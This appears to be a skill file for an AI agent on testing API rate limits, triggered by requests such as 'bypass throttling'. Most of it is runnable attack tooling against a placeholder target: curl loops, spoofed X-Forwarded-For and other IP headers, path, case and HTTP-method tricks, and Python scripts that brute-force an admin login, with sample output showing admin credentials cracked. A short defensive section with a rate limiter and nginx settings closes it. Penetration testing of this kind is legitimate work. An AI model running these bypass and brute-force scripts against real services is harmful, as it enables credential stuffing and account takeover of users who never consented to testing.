Tests API rate limiting and throttling mechanisms for bypass vulnerabilities. Use when testing API abuse protection, when 429 responses encountered, or when asked to "test rate limits", "bypass throttling", or "test brute force protection".
Identify weaknesses in API rate limiting that could enable brute force attacks, credential stuffing, or denial of service.
# Send request and examine headers
curl -i https://target.com/api/endpoint
# Common rate limit headers:
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 99
X-RateLimit-Reset: 1640000000
X-Rate-Limit-Limit: 100
RateLimit-Limit: 100
Retry-After: 60
# Rapid requests to trigger limit
for i in $(seq 1 200); do
curl -s -o /dev/null -w "%{http_code}\n" \
https://target.com/api/endpoint
done
# Expected transition: 200 → 200 → ... → 429
# X-Forwarded-For
curl https://target.com/api/login \
-H "X-Forwarded-For: 1.2.3.$RANDOM"
# Multiple IP headers
curl https://target.com/api/login \
-H "X-Forwarded-For: 192.168.1.1" \
-H "X-Real-IP: 10.0.0.1" \
-H "X-Originating-IP: 172.16.0.1" \
-H "X-Remote-IP: 8.8.8.8" \
-H "X-Client-IP: 127.0.0.1" \
-H "True-Client-IP: 1.1.1.1" \
-H "CF-Connecting-IP: 2.2.2.2" \
-H "X-Cluster-Client-IP: 3.3.3.3"
#!/usr/bin/env python3
import requests
import random
def random_ip():
return f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
for i in range(1000):
resp = requests.post(
"https://target.com/api/login",
headers={"X-Forwarded-For": random_ip()},
json={"username": "admin", "password": f"pass{i}"}
)
print(f"{i}: {resp.status_code}")
# Original rate-limited endpoint
POST /api/login
# Try variations
POST /api/login/
POST /api/Login
POST /API/LOGIN
POST /api/./login
POST /api//login
POST /api/v1/../login
POST /api/login?dummy=1
POST /api/login#fragment
# If POST is rate limited
curl -X GET "https://target.com/api/login?user=admin&pass=test"
curl -X PUT https://target.com/api/login -d "..."
curl -X PATCH https://target.com/api/login -d "..."
// If rate limit keyed on username
{"username": "admin", "password": "test1"}
{"Username": "admin", "password": "test2"}
{"USERNAME": "admin", "password": "test3"}
{"username": "Admin", "password": "test4"}
{"username": "ADMIN", "password": "test5"}
// Add whitespace
{"username": " admin", "password": "test1"}
{"username": "admin ", "password": "test2"}
// URL encoding
{"username": "%61dmin", "password": "test3"}
// Unicode
{"username": "admin", "password": "test4"} // Fullwidth 'a'
// Some parsers accept arrays
{
"username": ["admin", "user1", "user2"],
"password": "test"
}
# Use multiple valid accounts
for token in $TOKEN1 $TOKEN2 $TOKEN3; do
curl https://target.com/api/action \
-H "Authorization: Bearer $token"
done
# Generate multiple sessions
for i in $(seq 1 10); do
SESSION=$(curl -s https://target.com/api/init | jq -r '.session')
curl https://target.com/api/login \
-H "X-Session: $SESSION" \
-d "username=admin&password=pass$i"
done
#!/usr/bin/env python3
import requests
import time
# Stay just under rate limit
for i in range(10000):
requests.post(
"https://target.com/api/login",
json={"username": "admin", "password": f"pass{i}"}
)
time.sleep(1.1) # If limit is 1 req/sec, go slightly slower
# Burst requests, wait for reset
while True:
# Burst
for i in range(100):
requests.post(url, json=payload)
# Wait for rate limit reset
time.sleep(60)
# Different API versions may have different limits
POST /api/v1/login # Rate limited
POST /api/v2/login # May not be
POST /api/v3/login
POST /v1/api/login
POST /v2/api/login
| Bypass | Risk | Detection |
|---|---|---|
| X-Forwarded-For spoofing | High | Compare request counts with/without header |
| Path variations | Medium | Test multiple path formats |
| Case variations | Medium | Test different letter cases |
| Multi-token | High | Rate limit per-user not per-token |
| Slow rate | Medium | Sustained low-volume attack |
| API versioning | Medium | Check all API versions |
Test without bypass:
Request 1-100: 200 OK
Request 101+: 429 Too Many Requests
Test with bypass:
Request 1: X-Forwarded-For: 1.1.1.1 → 200 OK
Request 2: X-Forwarded-For: 1.1.1.2 → 200 OK
...
Request 1000: X-Forwarded-For: 1.1.4.232 → 200 OK
Result: HIGH - Rate limit bypassed via X-Forwarded-For spoofing
Rate limit triggered after 5 attempts for "admin"
Bypass:
{"username": "admin", "password": "test1"} → Attempt 1
{"username": "Admin", "password": "test2"} → Attempt 1 (reset!)
{"username": "ADMIN", "password": "test3"} → Attempt 1 (reset!)
{"username": "aDmIn", "password": "test4"} → Attempt 1 (reset!)
Result: MEDIUM - Rate limit keyed on case-sensitive username
Combine path variation + IP spoofing:
POST /api/login X-Forwarded-For: 1.1.1.1 pass1
POST /api/login/ X-Forwarded-For: 1.1.1.2 pass2
POST /api/Login X-Forwarded-For: 1.1.1.3 pass3
POST /api/./login X-Forwarded-For: 1.1.1.4 pass4
After 10000 attempts:
{"token": "...", "user": "admin"}
Result: CRITICAL - Admin credentials brute-forced
from functools import wraps
import time
import hashlib
class RateLimiter:
def __init__(self, redis_client):
self.redis = redis_client
def get_client_key(self, request):
"""Generate rate limit key - NOT from X-Forwarded-For"""
# Use actual connection IP (set by reverse proxy)
real_ip = request.environ.get('REMOTE_ADDR')
# Optionally combine with user ID
user_id = getattr(request, 'user_id', 'anonymous')
# Normalize endpoint
endpoint = request.path.lower().rstrip('/')
return f"ratelimit:{real_ip}:{user_id}:{endpoint}"
def is_allowed(self, request, limit=100, window=60):
key = self.get_client_key(request)
current = self.redis.incr(key)
if current == 1:
self.redis.expire(key, window)
return current <= limit
# In nginx - only trust X-Forwarded-For from known proxies
set_real_ip_from 10.0.0.0/8;
real_ip_header X-Forwarded-For;
real_ip_recursive on;
| Script | Purpose |
|---|---|
scripts/rate_limit_test.py | Basic rate limit testing |
scripts/rate_bypass.py | Bypass technique automation |
scripts/brute_force.py | Credential brute forcing |